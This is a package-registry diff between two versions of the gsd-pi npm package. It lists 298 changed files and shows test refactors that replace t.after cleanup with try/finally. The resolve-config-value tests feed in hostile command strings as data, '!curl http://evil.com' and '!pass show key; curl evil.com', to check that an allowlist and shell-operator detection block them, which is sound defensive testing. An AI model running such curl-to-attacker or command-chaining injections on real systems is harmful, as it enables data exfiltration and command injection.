gsd-pi 2.44.0-dev.848dd4c → 2.44.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (298) hide show
  1. package/README.md +12 -30
  2. package/dist/resources/extensions/gsd/auto-start.js +0 -10
  3. package/dist/resources/extensions/gsd/commands/handlers/workflow.js +0 -5
  4. package/dist/web/standalone/.next/BUILD_ID +1 -1
  5. package/dist/web/standalone/.next/app-path-routes-manifest.json +14 -14
  6. package/dist/web/standalone/.next/build-manifest.json +3 -3
  7. package/dist/web/standalone/.next/prerender-manifest.json +3 -3
  8. package/dist/web/standalone/.next/required-server-files.json +3 -3
  9. package/dist/web/standalone/.next/server/app/_global-error/page.js +3 -3
  10. package/dist/web/standalone/.next/server/app/_global-error/page_client-reference-manifest.js +1 -1
  11. package/dist/web/standalone/.next/server/app/_global-error.html +2 -2
  12. package/dist/web/standalone/.next/server/app/_global-error.rsc +1 -1
  13. package/dist/web/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +1 -1
  14. package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error/__PAGE__.segment.rsc +1 -1
  15. package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error.segment.rsc +1 -1
  16. package/dist/web/standalone/.next/server/app/_global-error.segments/_head.segment.rsc +1 -1
  17. package/dist/web/standalone/.next/server/app/_global-error.segments/_index.segment.rsc +1 -1
  18. package/dist/web/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
  19. package/dist/web/standalone/.next/server/app/_not-found/page.js +2 -2
  20. package/dist/web/standalone/.next/server/app/_not-found/page_client-reference-manifest.js +1 -1
  21. package/dist/web/standalone/.next/server/app/_not-found.html +1 -1
  22. package/dist/web/standalone/.next/server/app/_not-found.rsc +3 -3
  23. package/dist/web/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +3 -3
  24. package/dist/web/standalone/.next/server/app/_not-found.segments/_head.segment.rsc +1 -1
  25. package/dist/web/standalone/.next/server/app/_not-found.segments/_index.segment.rsc +3 -3
  26. package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +1 -1
  27. package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found.segment.rsc +1 -1
  28. package/dist/web/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +1 -1
  29. package/dist/web/standalone/.next/server/app/api/boot/route.js +1 -1
  30. package/dist/web/standalone/.next/server/app/api/boot/route_client-reference-manifest.js +1 -1
  31. package/dist/web/standalone/.next/server/app/api/bridge-terminal/input/route.js +1 -1
  32. package/dist/web/standalone/.next/server/app/api/bridge-terminal/input/route_client-reference-manifest.js +1 -1
  33. package/dist/web/standalone/.next/server/app/api/bridge-terminal/resize/route.js +1 -1
  34. package/dist/web/standalone/.next/server/app/api/bridge-terminal/resize/route_client-reference-manifest.js +1 -1
  35. package/dist/web/standalone/.next/server/app/api/bridge-terminal/stream/route.js +2 -2
  36. package/dist/web/standalone/.next/server/app/api/bridge-terminal/stream/route_client-reference-manifest.js +1 -1
  37. package/dist/web/standalone/.next/server/app/api/browse-directories/route.js +1 -1
  38. package/dist/web/standalone/.next/server/app/api/browse-directories/route_client-reference-manifest.js +1 -1
  39. package/dist/web/standalone/.next/server/app/api/captures/route.js +1 -1
  40. package/dist/web/standalone/.next/server/app/api/captures/route_client-reference-manifest.js +1 -1
  41. package/dist/web/standalone/.next/server/app/api/cleanup/route.js +1 -1
  42. package/dist/web/standalone/.next/server/app/api/cleanup/route_client-reference-manifest.js +1 -1
  43. package/dist/web/standalone/.next/server/app/api/dev-mode/route.js +1 -1
  44. package/dist/web/standalone/.next/server/app/api/dev-mode/route_client-reference-manifest.js +1 -1
  45. package/dist/web/standalone/.next/server/app/api/doctor/route.js +1 -1
  46. package/dist/web/standalone/.next/server/app/api/doctor/route_client-reference-manifest.js +1 -1
  47. package/dist/web/standalone/.next/server/app/api/export-data/route.js +1 -1
  48. package/dist/web/standalone/.next/server/app/api/export-data/route_client-reference-manifest.js +1 -1
  49. package/dist/web/standalone/.next/server/app/api/files/route.js +1 -1
  50. package/dist/web/standalone/.next/server/app/api/files/route_client-reference-manifest.js +1 -1
  51. package/dist/web/standalone/.next/server/app/api/forensics/route.js +1 -1
  52. package/dist/web/standalone/.next/server/app/api/forensics/route_client-reference-manifest.js +1 -1
  53. package/dist/web/standalone/.next/server/app/api/git/route.js +1 -1
  54. package/dist/web/standalone/.next/server/app/api/git/route_client-reference-manifest.js +1 -1
  55. package/dist/web/standalone/.next/server/app/api/history/route.js +1 -1
  56. package/dist/web/standalone/.next/server/app/api/history/route_client-reference-manifest.js +1 -1
  57. package/dist/web/standalone/.next/server/app/api/hooks/route.js +1 -1
  58. package/dist/web/standalone/.next/server/app/api/hooks/route_client-reference-manifest.js +1 -1
  59. package/dist/web/standalone/.next/server/app/api/inspect/route.js +1 -1
  60. package/dist/web/standalone/.next/server/app/api/inspect/route_client-reference-manifest.js +1 -1
  61. package/dist/web/standalone/.next/server/app/api/knowledge/route.js +1 -1
  62. package/dist/web/standalone/.next/server/app/api/knowledge/route_client-reference-manifest.js +1 -1
  63. package/dist/web/standalone/.next/server/app/api/live-state/route.js +1 -1
  64. package/dist/web/standalone/.next/server/app/api/live-state/route_client-reference-manifest.js +1 -1
  65. package/dist/web/standalone/.next/server/app/api/onboarding/route.js +1 -1
  66. package/dist/web/standalone/.next/server/app/api/onboarding/route_client-reference-manifest.js +1 -1
  67. package/dist/web/standalone/.next/server/app/api/preferences/route.js +1 -1
  68. package/dist/web/standalone/.next/server/app/api/preferences/route_client-reference-manifest.js +1 -1
  69. package/dist/web/standalone/.next/server/app/api/projects/route.js +1 -1
  70. package/dist/web/standalone/.next/server/app/api/projects/route_client-reference-manifest.js +1 -1
  71. package/dist/web/standalone/.next/server/app/api/recovery/route.js +1 -1
  72. package/dist/web/standalone/.next/server/app/api/recovery/route_client-reference-manifest.js +1 -1
  73. package/dist/web/standalone/.next/server/app/api/remote-questions/route.js +5 -5
  74. package/dist/web/standalone/.next/server/app/api/remote-questions/route_client-reference-manifest.js +1 -1
  75. package/dist/web/standalone/.next/server/app/api/session/browser/route.js +1 -1
  76. package/dist/web/standalone/.next/server/app/api/session/browser/route_client-reference-manifest.js +1 -1
  77. package/dist/web/standalone/.next/server/app/api/session/command/route.js +1 -1
  78. package/dist/web/standalone/.next/server/app/api/session/command/route_client-reference-manifest.js +1 -1
  79. package/dist/web/standalone/.next/server/app/api/session/events/route.js +2 -2
  80. package/dist/web/standalone/.next/server/app/api/session/events/route_client-reference-manifest.js +1 -1
  81. package/dist/web/standalone/.next/server/app/api/session/manage/route.js +1 -1
  82. package/dist/web/standalone/.next/server/app/api/session/manage/route_client-reference-manifest.js +1 -1
  83. package/dist/web/standalone/.next/server/app/api/settings-data/route.js +1 -1
  84. package/dist/web/standalone/.next/server/app/api/settings-data/route_client-reference-manifest.js +1 -1
  85. package/dist/web/standalone/.next/server/app/api/shutdown/route.js +1 -1
  86. package/dist/web/standalone/.next/server/app/api/shutdown/route_client-reference-manifest.js +1 -1
  87. package/dist/web/standalone/.next/server/app/api/skill-health/route.js +1 -1
  88. package/dist/web/standalone/.next/server/app/api/skill-health/route_client-reference-manifest.js +1 -1
  89. package/dist/web/standalone/.next/server/app/api/steer/route.js +1 -1
  90. package/dist/web/standalone/.next/server/app/api/steer/route_client-reference-manifest.js +1 -1
  91. package/dist/web/standalone/.next/server/app/api/switch-root/route.js +1 -1
  92. package/dist/web/standalone/.next/server/app/api/switch-root/route_client-reference-manifest.js +1 -1
  93. package/dist/web/standalone/.next/server/app/api/terminal/input/route.js +2 -2
  94. package/dist/web/standalone/.next/server/app/api/terminal/input/route_client-reference-manifest.js +1 -1
  95. package/dist/web/standalone/.next/server/app/api/terminal/resize/route.js +2 -2
  96. package/dist/web/standalone/.next/server/app/api/terminal/resize/route_client-reference-manifest.js +1 -1
  97. package/dist/web/standalone/.next/server/app/api/terminal/sessions/route.js +2 -2
  98. package/dist/web/standalone/.next/server/app/api/terminal/sessions/route_client-reference-manifest.js +1 -1
  99. package/dist/web/standalone/.next/server/app/api/terminal/stream/route.js +4 -4
  100. package/dist/web/standalone/.next/server/app/api/terminal/stream/route_client-reference-manifest.js +1 -1
  101. package/dist/web/standalone/.next/server/app/api/terminal/upload/route.js +1 -1
  102. package/dist/web/standalone/.next/server/app/api/terminal/upload/route_client-reference-manifest.js +1 -1
  103. package/dist/web/standalone/.next/server/app/api/undo/route.js +1 -1
  104. package/dist/web/standalone/.next/server/app/api/undo/route_client-reference-manifest.js +1 -1
  105. package/dist/web/standalone/.next/server/app/api/update/route.js +1 -1
  106. package/dist/web/standalone/.next/server/app/api/update/route_client-reference-manifest.js +1 -1
  107. package/dist/web/standalone/.next/server/app/api/visualizer/route.js +1 -1
  108. package/dist/web/standalone/.next/server/app/api/visualizer/route_client-reference-manifest.js +1 -1
  109. package/dist/web/standalone/.next/server/app/index.html +1 -1
  110. package/dist/web/standalone/.next/server/app/index.rsc +4 -4
  111. package/dist/web/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +2 -2
  112. package/dist/web/standalone/.next/server/app/index.segments/_full.segment.rsc +4 -4
  113. package/dist/web/standalone/.next/server/app/index.segments/_head.segment.rsc +1 -1
  114. package/dist/web/standalone/.next/server/app/index.segments/_index.segment.rsc +3 -3
  115. package/dist/web/standalone/.next/server/app/index.segments/_tree.segment.rsc +1 -1
  116. package/dist/web/standalone/.next/server/app/page.js +2 -2
  117. package/dist/web/standalone/.next/server/app/page_client-reference-manifest.js +1 -1
  118. package/dist/web/standalone/.next/server/app-paths-manifest.json +14 -14
  119. package/dist/web/standalone/.next/server/chunks/229.js +1 -1
  120. package/dist/web/standalone/.next/server/chunks/471.js +3 -3
  121. package/dist/web/standalone/.next/server/middleware-build-manifest.js +1 -1
  122. package/dist/web/standalone/.next/server/middleware.js +2 -2
  123. package/dist/web/standalone/.next/server/next-font-manifest.js +1 -1
  124. package/dist/web/standalone/.next/server/next-font-manifest.json +1 -1
  125. package/dist/web/standalone/.next/server/pages/404.html +1 -1
  126. package/dist/web/standalone/.next/server/pages/500.html +2 -2
  127. package/dist/web/standalone/.next/server/server-reference-manifest.json +1 -1
  128. package/dist/web/standalone/.next/static/chunks/app/_not-found/{page-f2a7482d42a5614b.js → page-2f24283c162b6ab3.js} +1 -1
  129. package/dist/web/standalone/.next/static/chunks/app/{layout-a16c7a7ecdf0c2cf.js → layout-9ecfd95f343793f0.js} +1 -1
  130. package/dist/web/standalone/.next/static/chunks/app/page-7e9530a7122506c5.js +1 -0
  131. package/dist/web/standalone/.next/static/chunks/main-app-d3d4c336195465f9.js +1 -0
  132. package/dist/web/standalone/.next/static/chunks/next/dist/client/components/builtin/global-error-ab5a8926e07ec673.js +1 -0
  133. package/dist/web/standalone/node_modules/node-pty/build/Makefile +2 -2
  134. package/dist/web/standalone/node_modules/node-pty/build/Release/pty.node +0 -0
  135. package/dist/web/standalone/node_modules/node-pty/build/pty.target.mk +14 -14
  136. package/dist/web/standalone/node_modules/node-pty/node-addon-api/node_addon_api.target.mk +14 -14
  137. package/dist/web/standalone/node_modules/node-pty/node-addon-api/node_addon_api_except.target.mk +14 -14
  138. package/dist/web/standalone/node_modules/node-pty/node-addon-api/node_addon_api_maybe.target.mk +14 -14
  139. package/dist/web/standalone/server.js +1 -1
  140. package/package.json +1 -1
  141. package/packages/pi-coding-agent/dist/core/auth-storage.test.js +8 -6
  142. package/packages/pi-coding-agent/dist/core/auth-storage.test.js.map +1 -1
  143. package/packages/pi-coding-agent/dist/core/extensions/runner.test.js +26 -24
  144. package/packages/pi-coding-agent/dist/core/extensions/runner.test.js.map +1 -1
  145. package/packages/pi-coding-agent/dist/core/fs-utils.test.js +48 -29
  146. package/packages/pi-coding-agent/dist/core/fs-utils.test.js.map +1 -1
  147. package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js +44 -34
  148. package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js.map +1 -1
  149. package/packages/pi-coding-agent/dist/core/session-manager.test.js +34 -30
  150. package/packages/pi-coding-agent/dist/core/session-manager.test.js.map +1 -1
  151. package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js +12 -10
  152. package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js.map +1 -1
  153. package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js +47 -43
  154. package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js.map +1 -1
  155. package/packages/pi-coding-agent/src/core/auth-storage.test.ts +7 -7
  156. package/packages/pi-coding-agent/src/core/extensions/runner.test.ts +26 -26
  157. package/packages/pi-coding-agent/src/core/fs-utils.test.ts +43 -31
  158. package/packages/pi-coding-agent/src/core/resolve-config-value.test.ts +45 -40
  159. package/packages/pi-coding-agent/src/core/session-manager.test.ts +33 -33
  160. package/packages/pi-coding-agent/src/core/tools/edit-diff.test.ts +17 -17
  161. package/packages/pi-coding-agent/src/resources/extensions/memory/storage.test.ts +74 -74
  162. package/src/resources/extensions/gsd/auto-start.ts +0 -14
  163. package/src/resources/extensions/gsd/commands/handlers/workflow.ts +0 -8
  164. package/src/resources/extensions/gsd/tests/all-milestones-complete-merge.test.ts +99 -99
  165. package/src/resources/extensions/gsd/tests/auto-lock-creation.test.ts +16 -14
  166. package/src/resources/extensions/gsd/tests/auto-paused-session-validation.test.ts +57 -43
  167. package/src/resources/extensions/gsd/tests/auto-preflight.test.ts +13 -11
  168. package/src/resources/extensions/gsd/tests/auto-recovery.test.ts +523 -465
  169. package/src/resources/extensions/gsd/tests/auto-secrets-gate.test.ts +75 -73
  170. package/src/resources/extensions/gsd/tests/auto-start-needs-discussion.test.ts +56 -34
  171. package/src/resources/extensions/gsd/tests/auto-worktree-milestone-merge.test.ts +656 -533
  172. package/src/resources/extensions/gsd/tests/auto-worktree.test.ts +143 -165
  173. package/src/resources/extensions/gsd/tests/cache-staleness-regression.test.ts +52 -29
  174. package/src/resources/extensions/gsd/tests/captures.test.ts +176 -148
  175. package/src/resources/extensions/gsd/tests/claude-import-tui.test.ts +33 -32
  176. package/src/resources/extensions/gsd/tests/collect-from-manifest.test.ts +143 -141
  177. package/src/resources/extensions/gsd/tests/commands-inspect-open-db.test.ts +25 -25
  178. package/src/resources/extensions/gsd/tests/commands-logs.test.ts +81 -81
  179. package/src/resources/extensions/gsd/tests/complete-milestone.test.ts +59 -38
  180. package/src/resources/extensions/gsd/tests/complete-slice.test.ts +263 -228
  181. package/src/resources/extensions/gsd/tests/complete-task.test.ts +302 -250
  182. package/src/resources/extensions/gsd/tests/context-store.test.ts +367 -354
  183. package/src/resources/extensions/gsd/tests/continue-here.test.ts +72 -68
  184. package/src/resources/extensions/gsd/tests/cost-projection.test.ts +106 -92
  185. package/src/resources/extensions/gsd/tests/crash-recovery.test.ts +35 -27
  186. package/src/resources/extensions/gsd/tests/dashboard-budget.test.ts +237 -220
  187. package/src/resources/extensions/gsd/tests/db-writer.test.ts +420 -390
  188. package/src/resources/extensions/gsd/tests/definition-loader.test.ts +92 -76
  189. package/src/resources/extensions/gsd/tests/derive-state-crossval.test.ts +83 -68
  190. package/src/resources/extensions/gsd/tests/derive-state-db.test.ts +183 -152
  191. package/src/resources/extensions/gsd/tests/derive-state-deps.test.ts +101 -78
  192. package/src/resources/extensions/gsd/tests/derive-state.test.ts +227 -192
  193. package/src/resources/extensions/gsd/tests/detection.test.ts +278 -232
  194. package/src/resources/extensions/gsd/tests/dev-engine-wrapper.test.ts +34 -30
  195. package/src/resources/extensions/gsd/tests/dispatch-guard.test.ts +180 -164
  196. package/src/resources/extensions/gsd/tests/dispatch-missing-task-plans.test.ts +49 -43
  197. package/src/resources/extensions/gsd/tests/dispatch-uat-last-completed.test.ts +32 -28
  198. package/src/resources/extensions/gsd/tests/doctor-completion-deferral.test.ts +29 -27
  199. package/src/resources/extensions/gsd/tests/doctor-delimiter-fix.test.ts +38 -34
  200. package/src/resources/extensions/gsd/tests/doctor-enhancements.test.ts +75 -54
  201. package/src/resources/extensions/gsd/tests/doctor-environment-worktree.test.ts +32 -21
  202. package/src/resources/extensions/gsd/tests/doctor-environment.test.ts +97 -72
  203. package/src/resources/extensions/gsd/tests/doctor-fixlevel.test.ts +44 -38
  204. package/src/resources/extensions/gsd/tests/doctor-git.test.ts +145 -104
  205. package/src/resources/extensions/gsd/tests/doctor-proactive.test.ts +106 -84
  206. package/src/resources/extensions/gsd/tests/doctor-roadmap-summary-atomicity.test.ts +60 -54
  207. package/src/resources/extensions/gsd/tests/doctor-runtime.test.ts +93 -72
  208. package/src/resources/extensions/gsd/tests/doctor.test.ts +134 -104
  209. package/src/resources/extensions/gsd/tests/ensure-db-open.test.ts +131 -123
  210. package/src/resources/extensions/gsd/tests/exit-command.test.ts +24 -20
  211. package/src/resources/extensions/gsd/tests/feature-branch-lifecycle-integration.test.ts +57 -48
  212. package/src/resources/extensions/gsd/tests/files-loadfile-eisdir.test.ts +7 -5
  213. package/src/resources/extensions/gsd/tests/flag-file-db.test.ts +42 -30
  214. package/src/resources/extensions/gsd/tests/freeform-decisions.test.ts +206 -198
  215. package/src/resources/extensions/gsd/tests/git-locale.test.ts +27 -13
  216. package/src/resources/extensions/gsd/tests/git-service.test.ts +388 -285
  217. package/src/resources/extensions/gsd/tests/gitignore-tracked-gsd.test.ts +39 -31
  218. package/src/resources/extensions/gsd/tests/graph-operations.test.ts +69 -63
  219. package/src/resources/extensions/gsd/tests/gsd-db.test.ts +264 -255
  220. package/src/resources/extensions/gsd/tests/gsd-inspect.test.ts +119 -108
  221. package/src/resources/extensions/gsd/tests/gsd-recover.test.ts +103 -81
  222. package/src/resources/extensions/gsd/tests/gsd-tools.test.ts +262 -229
  223. package/src/resources/extensions/gsd/tests/headless-answers.test.ts +13 -13
  224. package/src/resources/extensions/gsd/tests/health-widget.test.ts +37 -29
  225. package/src/resources/extensions/gsd/tests/idle-recovery.test.ts +102 -81
  226. package/src/resources/extensions/gsd/tests/init-wizard.test.ts +18 -16
  227. package/src/resources/extensions/gsd/tests/integration-edge.test.ts +46 -41
  228. package/src/resources/extensions/gsd/tests/integration-lifecycle.test.ts +53 -42
  229. package/src/resources/extensions/gsd/tests/integration-mixed-milestones.test.ts +91 -75
  230. package/src/resources/extensions/gsd/tests/integration-proof.test.ts +18 -18
  231. package/src/resources/extensions/gsd/tests/markdown-renderer.test.ts +194 -150
  232. package/src/resources/extensions/gsd/tests/md-importer.test.ts +125 -101
  233. package/src/resources/extensions/gsd/tests/memory-extractor.test.ts +54 -45
  234. package/src/resources/extensions/gsd/tests/memory-store.test.ts +93 -80
  235. package/src/resources/extensions/gsd/tests/migrate-command.test.ts +66 -57
  236. package/src/resources/extensions/gsd/tests/migrate-hierarchy.test.ts +93 -83
  237. package/src/resources/extensions/gsd/tests/migrate-parser.test.ts +170 -161
  238. package/src/resources/extensions/gsd/tests/migrate-transformer.test.ts +141 -125
  239. package/src/resources/extensions/gsd/tests/migrate-validator-parsers.test.ts +131 -107
  240. package/src/resources/extensions/gsd/tests/migrate-writer-integration.test.ts +96 -87
  241. package/src/resources/extensions/gsd/tests/migrate-writer.test.ts +164 -125
  242. package/src/resources/extensions/gsd/tests/must-have-parser.test.ts +94 -81
  243. package/src/resources/extensions/gsd/tests/none-mode-gates.test.ts +36 -35
  244. package/src/resources/extensions/gsd/tests/overrides.test.ts +106 -99
  245. package/src/resources/extensions/gsd/tests/parallel-crash-recovery.test.ts +47 -40
  246. package/src/resources/extensions/gsd/tests/parallel-worker-monitoring.test.ts +28 -25
  247. package/src/resources/extensions/gsd/tests/parallel-workers-multi-milestone-e2e.test.ts +83 -66
  248. package/src/resources/extensions/gsd/tests/park-edge-cases.test.ts +77 -54
  249. package/src/resources/extensions/gsd/tests/park-milestone.test.ts +115 -68
  250. package/src/resources/extensions/gsd/tests/parsers.test.ts +611 -546
  251. package/src/resources/extensions/gsd/tests/paths.test.ts +87 -72
  252. package/src/resources/extensions/gsd/tests/post-unit-hooks.test.ts +117 -77
  253. package/src/resources/extensions/gsd/tests/prompt-db.test.ts +56 -56
  254. package/src/resources/extensions/gsd/tests/queue-draft-detection.test.ts +119 -93
  255. package/src/resources/extensions/gsd/tests/queue-order.test.ts +82 -70
  256. package/src/resources/extensions/gsd/tests/queue-reorder-e2e.test.ts +55 -42
  257. package/src/resources/extensions/gsd/tests/quick-branch-lifecycle.test.ts +73 -45
  258. package/src/resources/extensions/gsd/tests/reassess-prompt.test.ts +38 -28
  259. package/src/resources/extensions/gsd/tests/replan-slice.test.ts +80 -73
  260. package/src/resources/extensions/gsd/tests/repo-identity-worktree.test.ts +74 -71
  261. package/src/resources/extensions/gsd/tests/requirements.test.ts +75 -70
  262. package/src/resources/extensions/gsd/tests/retry-state-reset.test.ts +66 -44
  263. package/src/resources/extensions/gsd/tests/roadmap-parse-regression.test.ts +181 -114
  264. package/src/resources/extensions/gsd/tests/rule-registry.test.ts +65 -63
  265. package/src/resources/extensions/gsd/tests/run-uat.test.ts +128 -66
  266. package/src/resources/extensions/gsd/tests/session-lock-multipath.test.ts +25 -18
  267. package/src/resources/extensions/gsd/tests/session-lock-regression.test.ts +44 -37
  268. package/src/resources/extensions/gsd/tests/shared-wal.test.ts +26 -19
  269. package/src/resources/extensions/gsd/tests/stalled-tool-recovery.test.ts +8 -6
  270. package/src/resources/extensions/gsd/tests/symlink-numbered-variants.test.ts +28 -22
  271. package/src/resources/extensions/gsd/tests/token-savings.test.ts +56 -54
  272. package/src/resources/extensions/gsd/tests/tool-call-loop-guard.test.ts +25 -23
  273. package/src/resources/extensions/gsd/tests/tool-naming.test.ts +11 -9
  274. package/src/resources/extensions/gsd/tests/unique-milestone-ids.test.ts +82 -66
  275. package/src/resources/extensions/gsd/tests/unit-runtime.test.ts +47 -46
  276. package/src/resources/extensions/gsd/tests/visualizer-critical-path.test.ts +22 -20
  277. package/src/resources/extensions/gsd/tests/visualizer-data.test.ts +86 -84
  278. package/src/resources/extensions/gsd/tests/visualizer-overlay.test.ts +43 -41
  279. package/src/resources/extensions/gsd/tests/visualizer-views.test.ts +96 -94
  280. package/src/resources/extensions/gsd/tests/windows-path-normalization.test.ts +13 -11
  281. package/src/resources/extensions/gsd/tests/worker-registry.test.ts +29 -27
  282. package/src/resources/extensions/gsd/tests/workflow-templates.test.ts +52 -50
  283. package/src/resources/extensions/gsd/tests/worktree-bugfix.test.ts +13 -10
  284. package/src/resources/extensions/gsd/tests/worktree-db-integration.test.ts +18 -14
  285. package/src/resources/extensions/gsd/tests/worktree-db.test.ts +39 -38
  286. package/src/resources/extensions/gsd/tests/worktree-e2e.test.ts +21 -17
  287. package/src/resources/extensions/gsd/tests/worktree-health.test.ts +30 -25
  288. package/src/resources/extensions/gsd/tests/worktree-integration.test.ts +37 -30
  289. package/src/resources/extensions/gsd/tests/worktree-symlink-removal.test.ts +22 -15
  290. package/src/resources/extensions/gsd/tests/worktree-sync-milestones.test.ts +66 -59
  291. package/src/resources/extensions/gsd/tests/worktree.test.ts +50 -44
  292. package/dist/web/standalone/.next/static/chunks/app/page-b9367c5ae13b99c6.js +0 -1
  293. package/dist/web/standalone/.next/static/chunks/main-app-fdab67f7802d7832.js +0 -1
  294. package/dist/web/standalone/.next/static/chunks/next/dist/client/components/builtin/global-error-459824ffb8c323dd.js +0 -1
  295. package/src/resources/extensions/gsd/tests/quick-auto-guard.test.ts +0 -100
  296. package/src/resources/extensions/gsd/tests/sqlite-unavailable-gate.test.ts +0 -63
  297. /package/dist/web/standalone/.next/static/{-zps1Q9mQmioAKLcQiCr8 → mgkxN0mGP6gSUmGPEzbk_}/_buildManifest.js +0 -0
  298. /package/dist/web/standalone/.next/static/{-zps1Q9mQmioAKLcQiCr8 → mgkxN0mGP6gSUmGPEzbk_}/_ssgManifest.js +0 -0
@@ -38,20 +38,21 @@ describe("resolveConfigValue — non-command values", () => {
38
38
  });
39
39
 
40
40
  describe("resolveConfigValue — command allowlist enforcement", () => {
41
- it("blocks a disallowed command and returns undefined", (t) => {
41
+ it("blocks a disallowed command and returns undefined", () => {
42
42
  const stderrChunks: string[] = [];
43
43
  const originalWrite = process.stderr.write.bind(process.stderr);
44
44
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
45
45
  stderrChunks.push(chunk.toString());
46
46
  return true;
47
47
  };
48
- t.after(() => {
49
- process.stderr.write = originalWrite;
50
- });
51
48
 
52
- const result = resolveConfigValue("!curl http://evil.com");
53
- assert.equal(result, undefined);
54
- assert.ok(stderrChunks.some((line) => line.includes("curl")));
49
+ try {
50
+ const result = resolveConfigValue("!curl http://evil.com");
51
+ assert.equal(result, undefined);
52
+ assert.ok(stderrChunks.some((line) => line.includes("curl")));
53
+ } finally {
54
+ process.stderr.write = originalWrite;
55
+ }
55
56
  });
56
57
 
57
58
  it("blocks another disallowed command (rm)", () => {
@@ -64,7 +65,7 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
64
65
  assert.equal(result, undefined);
65
66
  });
66
67
 
67
- it("allows a safe command prefix to proceed to execution", (t) => {
68
+ it("allows a safe command prefix to proceed to execution", () => {
68
69
  // `pass` is unlikely to be installed in CI, so we just verify it does NOT
69
70
  // return undefined due to the allowlist check — it may return undefined if
70
71
  // the binary is absent, but the block path must not be taken.
@@ -75,15 +76,16 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
75
76
  stderrChunks.push(chunk.toString());
76
77
  return true;
77
78
  };
78
- t.after(() => {
79
- process.stderr.write = originalWrite;
80
- });
81
79
 
82
- resolveConfigValue("!pass show nonexistent-entry-for-test");
83
- const blocked = stderrChunks.some((line) =>
84
- line.includes("Blocked disallowed command")
85
- );
86
- assert.equal(blocked, false, "pass should not be blocked by the allowlist");
80
+ try {
81
+ resolveConfigValue("!pass show nonexistent-entry-for-test");
82
+ const blocked = stderrChunks.some((line) =>
83
+ line.includes("Blocked disallowed command")
84
+ );
85
+ assert.equal(blocked, false, "pass should not be blocked by the allowlist");
86
+ } finally {
87
+ process.stderr.write = originalWrite;
88
+ }
87
89
  });
88
90
  });
89
91
 
@@ -128,58 +130,61 @@ describe("resolveConfigValue — shell operator bypass prevention", () => {
128
130
  assert.equal(result, undefined);
129
131
  });
130
132
 
131
- it("writes stderr warning when shell operators detected", (t) => {
133
+ it("writes stderr warning when shell operators detected", () => {
132
134
  const stderrChunks: string[] = [];
133
135
  const originalWrite = process.stderr.write.bind(process.stderr);
134
136
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
135
137
  stderrChunks.push(chunk.toString());
136
138
  return true;
137
139
  };
138
- t.after(() => {
139
- process.stderr.write = originalWrite;
140
- });
141
140
 
142
- resolveConfigValue("!pass show key; curl evil.com");
143
- assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
141
+ try {
142
+ resolveConfigValue("!pass show key; curl evil.com");
143
+ assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
144
+ } finally {
145
+ process.stderr.write = originalWrite;
146
+ }
144
147
  });
145
148
  });
146
149
 
147
150
  describe("resolveConfigValue — caching", () => {
148
- it("caches the result of a blocked command", (t) => {
151
+ it("caches the result of a blocked command", () => {
149
152
  const callCount = { n: 0 };
150
153
  const originalWrite = process.stderr.write.bind(process.stderr);
151
154
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
152
155
  callCount.n++;
153
156
  return true;
154
157
  };
155
- t.after(() => {
156
- process.stderr.write = originalWrite;
157
- });
158
158
 
159
- resolveConfigValue("!curl http://evil.com");
160
- resolveConfigValue("!curl http://evil.com");
161
- // The block warning should only fire once; the second call hits the cache
162
- // before reaching the allowlist check, so stderr count is 1.
163
- assert.equal(callCount.n, 1);
159
+ try {
160
+ resolveConfigValue("!curl http://evil.com");
161
+ resolveConfigValue("!curl http://evil.com");
162
+ // The block warning should only fire once; the second call hits the cache
163
+ // before reaching the allowlist check, so stderr count is 1.
164
+ assert.equal(callCount.n, 1);
165
+ } finally {
166
+ process.stderr.write = originalWrite;
167
+ }
164
168
  });
165
169
 
166
- it("clearConfigValueCache resets cached entries", (t) => {
170
+ it("clearConfigValueCache resets cached entries", () => {
167
171
  const stderrChunks: string[] = [];
168
172
  const originalWrite = process.stderr.write.bind(process.stderr);
169
173
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
170
174
  stderrChunks.push(chunk.toString());
171
175
  return true;
172
176
  };
173
- t.after(() => {
174
- process.stderr.write = originalWrite;
175
- });
176
177
 
177
- resolveConfigValue("!curl http://evil.com");
178
- assert.equal(stderrChunks.length, 1);
178
+ try {
179
+ resolveConfigValue("!curl http://evil.com");
180
+ assert.equal(stderrChunks.length, 1);
179
181
 
180
- clearConfigValueCache();
182
+ clearConfigValueCache();
181
183
 
182
- resolveConfigValue("!curl http://evil.com");
183
- assert.equal(stderrChunks.length, 2);
184
+ resolveConfigValue("!curl http://evil.com");
185
+ assert.equal(stderrChunks.length, 2);
186
+ } finally {
187
+ process.stderr.write = originalWrite;
188
+ }
184
189
  });
185
190
  });
@@ -1,5 +1,5 @@
1
1
  import assert from "node:assert/strict";
2
- import { describe, it, afterEach } from "node:test";
2
+ import { describe, it } from "node:test";
3
3
  import { mkdtempSync, rmSync } from "node:fs";
4
4
  import { join } from "node:path";
5
5
  import { tmpdir } from "node:os";
@@ -22,44 +22,44 @@ function makeAssistantMessage(input: number, output: number, cacheRead = 0, cach
22
22
  }
23
23
 
24
24
  describe("SessionManager usage totals", () => {
25
- let dir: string;
26
-
27
- afterEach(() => {
28
- if (dir) {
29
- rmSync(dir, { recursive: true, force: true });
30
- }
31
- });
32
-
33
25
